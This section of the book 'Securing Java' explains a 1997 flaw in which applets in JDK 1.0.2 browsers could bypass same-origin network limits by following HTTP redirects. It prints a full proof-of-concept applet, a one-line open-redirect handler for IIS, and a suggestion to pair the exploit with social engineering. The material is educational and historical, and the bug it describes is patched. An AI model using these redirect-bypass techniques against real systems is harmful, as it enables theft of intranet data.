Look Over There (Ch. 5, Sec. 18) [Securing Java]

Attack Applets: Exploiting Holes in the Security Model
CHAPTER SECTIONS: 1 / 2 / 3 / 4 / 5 / 6 / 7 / 8 / 9 / 10 / 11 / 12 / 13 / 14 / 15 / 16 / 17 / 18 / 19 / 20

Section 18 -- Look Over There

In August of 1997, Ben Mesander, a professional programmer and consultant from Creative Concepts in Boulder, Colorado, uncovered a security hole that allowed untrusted Java applets the ability to make network connections to arbitrary locations. This flaw affected browsers with VMs coded to the JDK 1.0.2 specification. According to the JDK 1.0.2 security model, applets are not allowed to make network connections to any host other than the Web server from which they come. Three browsers-HotJava, Netscape, and MSIE-were all susceptible to the problem (at least with some proxy configurations, as we explain later).

To demonstrate the flaw, which was most apparent in the MSIE implementation of Java, Mesander wrote a simple applet that was able to load a graphic from www.microsoft.com even though the applet was not hosted from that server. The ability to open arbitrary connections to other servers is distressing for several reasons. The first is that such a connection provides a channel for indirect attacks. That is, a bad guy can cause your browser to run an attack against another server, making your machine take the blame. Another is that information from your machine may be siphoned off to another site. A third is that some attack code could be fetched from another location, leaving the true culprit applet in a less-suspicious situation should a successful attack be carried out against your machine. Finally, and most realistically in terms of the example we will show later, the attack applet is able to download an image from any Web server, even those servers behind firewalls. If you have images on your intranet that should not be seen by people outside your organization (such as sales data with sensitive pricing information), the seriousness of the attack is apparent. In any case, it is clear that Mesander's applet was able to do something that should not be allowed.

The applet itself is shown as Listing 5.1. Mesander serves up this "test applet" as an example on his Demo of Browser Security Hole page at neurosis.hungry.com/~ben/. The applet attempts to load a graphic from a disallowed site (Microsoft's Web site). The applet is able to determine its level of success and display a message relating to the security of your browser.

Listing 5.1 Ben Mesander's applet WhereDoYouWantToGoToday fetches an image from a disallowed location.

// ben@gnu.ai.mit.edu
import java.applet.*;
import java.awt.*;
import java.net.*;

class WhereDoYouWantToGoToday extends Canvas
{
 Image image = null;
 WhereDoYouWantToGoToday (Image image)
 {
 super ();
 this.image = image;
 }

 public void paint (Graphics g)
 {
 g.drawImage (image, 0, 0, this);
 }

 public Dimension preferredSize ()
 {
 return new Dimension (image.getWidth (this), image.getHeight (this));
 }

 public Dimension minimumSize ()
 {
 return preferredSize ();
 }
}

public class example0 extends Applet
{
 private Button b;
 public void init ()
 {
 createUI ();
 }
 private void createUI ()
 {
 setLayout (new BorderLayout ());
 b = new Button ("Go!");
 add ("West", b);
 }

 public boolean action (Event evt, Object arg)
 {
 if (evt.target.equals (b))
 {
     try
      {
      Image i = getImage (new URL (getDocumentBase (), 
      "cgi-bin/redirect?where=" + URLencode
      ("www.microsoft.com/library/images/gifs/
      homepage/tagline.gif")));
      MediaTracker tracker = new MediaTracker (this);
      tracker.addImage (i, 0);
      tracker.waitForID (0);
      if (i.getWidth (this) == -1)
      add ("Center", new TextField ("Browser did not get exception,
            but image did not load"));
      else
      {
          add ("Center", new WhereDoYouWantToGoToday (i));
          add ("East", new TextField ("Your browser is not secure."));
      }
      validate ();
      }
     catch (Exception e)
      {
      add ("Center", new TextField ("Exception while fetching image:"
           + e));
      validate ();
      }
     return true;
 }
 return super.action (evt, arg);
 }

 private static String URLencode (String s) {
 int i; StringBuffer b = new StringBuffer ();
 for (i=0; i < s.length () ; ++i)
 {
     b.append (URLencode_helper ((char) (s.charAt (i) & 0xff)));
 }
 return b.toString ();
 }

 private static String URLencode_helper (char c)
 {
 if (c %lt; 16) {
 return "%0" + Integer.toString (c, 16);
 } else if ((c < 32) || (c > 127) || (" +&=%/~#".indexOf (c) >= 0)) {
 return "%" + Integer.toString (c, 16);
 } else {
 return String.valueOf (c);
 }
 }
}

The applet works in concert with an HTTP redirect call that the browser being attacked follows to wherever it leads. Most of the dirty work takes place in the line:

Image i = getImage (new URL (getDocumentBase (), "cgi-bin/redirect?where=" + URLencode ("www.microsoft.com/ library/images/gifs/homepage/tagline.gif")));

Having your Web server implement the redirect command is very simple. With the Microsoft IIS server, the code is as simple as:

Response.Redirect("http://" & Request.QueryString("where")).

This applet demonstrated flaws in the Java implementations of several browsers. In particular, results before the browsers were patched showed the following vulnerabilities:

MSIE browsers on all versions of Windows had a serious bug, which Microsoft took very seriously and released a patch for within several days of the bug's discovery.
Netscape browsers were susceptible only if they were set up to use an HTTP proxy server. In particular, proxies set up to work outside the firewall caused big problems. Netscape fixed the bug in later releases of their browser.
The HotJava browser allowed classes to be loaded via redirects, but did not allow images to be loaded this way.

It is important to emphasize that this is a very clear example of an implementation bug and not a design problem. Java's design at the time was such that redirects were rendered impotent as an attack mechanism. However, all the vendors (including Sun's HotJava team) did not properly implement the design.

Another important point is that the attacker must know the URL of the image or class file that is being indirectly fetched. Sometimes, getting this information is not possible. Other times, standardized naming conventions constrain the space of possible names enough that a good guess works. A good attack strategy would be to combine this exploit with a standard social engineering attack that is used to determine the name of the image file or class file to steal.

Last, But Not Least

Mesander's redirect exploit was the last Java-related problem discovered in JDK 1.0.2 and JDK 1.1. In fact, Java experienced a calm period of several months before the next serious hole was discovered in July of 1998. The timing of these flaws supports the observations that discovery of holes tends to be clustered around major releases and that eventually a majority of the holes are found and fixed.

Chapter... Preface -- 1 -- 2 -- 3 -- 4 -- 5 -- 6 -- 7 -- 8 -- 9 -- A -- B -- C -- Refs
Front -- Contents -- Help